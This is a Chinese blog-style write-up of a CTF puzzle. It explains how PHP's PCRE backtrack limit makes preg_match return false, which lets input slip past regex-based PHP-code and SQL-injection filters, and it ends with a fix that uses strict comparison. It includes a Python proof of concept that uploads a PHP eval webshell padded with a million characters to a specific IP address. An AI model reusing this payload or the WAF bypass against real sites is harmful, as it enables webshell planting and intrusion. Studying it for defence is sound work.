您现在的位置是:群英 > 开发技术 > 编程语言
PCRE回溯次数绕过安全限制的正则解析怎样做
Admin发表于 2022-09-20 17:56:33549 次浏览
这篇文章给大家分享的是“PCRE回溯次数绕过安全限制的正则解析怎样做”,文中的讲解内容简单清晰,对大家学习和理解有一定的参考价值和帮助,有这方面学习需要的朋友,接下来就跟随小编一起学习一下“PCRE回溯次数绕过安全限制的正则解析怎样做”吧。
 

这次Code-Breaking Puzzles中我出了一道看似很简单的题目,将其代码简化如下:
<?php
function is_php($data){  
    return preg_match('/<\?.*[(`;?>].*/is', $data);  
}
if(!is_php($input)) {
    // fwrite($f, $input); ...
}

大意是判断一下用户输入的内容有没有PHP代码,如果没有,则写入文件。这种时候,如何绕过is_php()函数来写入webshell呢?

这道题看似简单,深究其原理,还是值得写一篇文章的。

正则表达式是什么

正则表达式是一个可以被“有限状态自动机”接受的语言类。

“有限状态自动机&rdquo;,其拥有有限数量的状态,每个状态可以迁移到零个或多个状态,输入字串决定执行哪个状态的迁移。

而常见的正则引擎,又被细分为DFA(确定性有限状态自动机)与NFA(非确定性有限状态自动机)。他们匹配输入的过程分别是:

  • DFA: 从起始状态开始,一个字符一个字符地读取输入串,并根据正则来一步步确定至下一个转移状态,直到匹配不上或走完整个输入
  • NFA:从起始状态开始,一个字符一个字符地读取输入串,并与正则表达式进行匹配,如果匹配不上,则进行回溯,尝试其他状态

由于NFA的执行过程存在回溯,所以其性能会劣于DFA,但它支持更多功能。大多数程序语言都使用了NFA作为正则引擎,其中也包括PHP使用的PCRE库。

回溯的过程是怎样的

所以,我们题目中的正则<\?.*[(`;?>].*,假设匹配的输入是<?php phpinfo();//aaaaa,实际执行流程是这样的:

见上图,可见第4步的时候,因为第一个.*可以匹配任何字符,所以最终匹配到了输入串的结尾,也就是//aaaaa。但此时显然是不对的,因为正则显示.*后面还应该有一个字符[(`;?>]

所以NFA就开始回溯,先吐出一个a,输入变成第5步显示的//aaaa,但仍然匹配不上正则,继续吐出a,变成//aaa,仍然匹配不上……

最终直到吐出;,输入变成第12步显示的<?php phpinfo(),此时,.*匹配的是php phpinfo(),而后面的;则匹配上[(`;?>],这个结果满足正则表达式的要求,于是不再回溯。13步开始向后匹配;,14步匹配.*,第二个.*匹配到了字符串末尾,最后结束匹配。

在调试正则表达式的时候,我们可以查看当前回溯的次数:

这里回溯了8次。

PHP的pcre.backtrack_limit限制利用

PHP为了防止正则表达式的拒绝服务攻击(reDOS),给pcre设定了一个回溯次数上限pcre.backtrack_limit。我们可以通过var_dump(ini_get('pcre.backtrack_limit'));的方式查看当前环境下的上限:

这里有个有趣的事情,就是PHP文档中,中英文版本的数值是不一样的:

我们应该以英文版为参考。

可见,回溯次数上限默认是100万。那么,假设我们的回溯次数超过了100万,会出现什么现象呢?比如:

可见,preg_match返回的非1和0,而是false。

preg_match函数返回false表示此次执行失败了,我们可以调用var_dump(preg_last_error() === PREG_BACKTRACK_LIMIT_ERROR);发现失败的原因的确是回溯次数超出了限制:

所以,这道题的答案就呼之欲出了。我们通过发送超长字符串的方式,使正则执行失败,最后绕过目标对PHP语言的限制。

对应的POC如下:

import requests
from io import BytesIO
files = {
  'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)
}
res = requests.post('http://51.158.75.42:8088/index.php', files=files, allow_redirects=False)
print(res.headers)

PCRE另一种错误的用法

延伸一下,很多基于PHP的WAF,如:

if(preg_match('/SELECT.+FROM.+/is', $input)) {
    die('SQL Injection');
}

均存在上述问题,通过大量回溯可以进行绕过。

另外,我遇到更常见的一种WAF是:

if(preg_match('/UNION.+?SELECT/is', $input)) {
    die('SQL Injection');
}

这里涉及到了正则表达式的“非贪婪模式”。在NFA中,如果我输入UNION/*aaaaa*/SELECT,这个正则表达式执行流程如下:

  • .+?匹配到/
  • 因为非贪婪模式,所以.+?停止匹配,而由S匹配*
  • S匹配*失败,回溯,再由.+?匹配*
  • 因为非贪婪模式,所以.+?停止匹配,而由S匹配a
  • S匹配a失败,回溯,再由.+?匹配a
  • ...

回溯次数随着a的数量增加而增加。所以,我们仍然可以通过发送大量a,来使回溯次数超出pcre.backtrack_limit限制,进而绕过WAF:

修复方法

那么,如何修复这个问题呢?

其实如果我们仔细观察PHP文档,是可以看到preg_match函数下面的警告的:

如果用preg_match对字符串进行匹配,一定要使用===全等号来判断返回值,如:

function is_php($data){  
    return preg_match('/<\?.*[(`;?>].*/is', $data);  
}
if(is_php($input) === 0) {
    // fwrite($f, $input); ...
}

这样,即使正则执行失败返回false,也不会进入if语句。



感谢各位的阅读,以上就是“PCRE回溯次数绕过安全限制的正则解析怎样做”的内容了,通过以上内容的阐述,相信大家对PCRE回溯次数绕过安全限制的正则解析怎样做已经有了进一步的了解,如果想要了解更多相关的内容,欢迎关注群英网络,群英网络将为大家推送更多相关知识点的文章。

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:mmqy2019@163.com进行举报,并提供相关证据,查实之后,将立刻删除涉嫌侵权内容。

标签: PCRE
相关信息推荐
2021-12-08 19:18:28 
摘要:这篇文章给大家分享的是用PHP怎样编写文件的上传下载功能。小编觉得挺实用的,因此分享给大家做个参考,文中示例代码介绍的非常详细,感兴趣的朋友接下来一起跟随小编看看吧。
2022-07-30 17:36:41 
摘要:两种实现方法:1、利用key()获取数组第一个元素的下标,语法“key(指定数组)”。2、使用“array_keys(原数组)”语句获取原数组的全部下标,返回包含全部下标的键名数组,再利用“$键名数组名[0]”语句获取键名数组的第一个元素值,也就是原数组第一个元素的下标即可。
2022-01-06 19:12:31 
摘要:PHP实现二维数组旋转的方法是什么?对于PHP实现二维数组旋转其实并不难,而且方法有很多,这里我们主要是通过for循环遍历实现,具体的实现代码如下,有需要的朋友可以参考,接下来就跟随小编一起了解看看吧。
云活动
推荐内容
热门关键词
热门信息
群英网络助力开启安全的云计算之旅
立即注册,领取新人大礼包
  • 联系我们
  • 24小时售后:4006784567
  • 24小时TEL :0668-2555666
  • 售前咨询TEL:400-678-4567

  • 官方微信

    官方微信
Copyright  ©  QY  Network  Company  Ltd. All  Rights  Reserved. 2003-2019  群英网络  版权所有   茂名市群英网络有限公司
增值电信经营许可证 : B1.B2-20140078   粤ICP备09006778号
免费拨打  400-678-4567
免费拨打  400-678-4567 免费拨打 400-678-4567 或 0668-2555555
微信公众号
返回顶部
返回顶部 返回顶部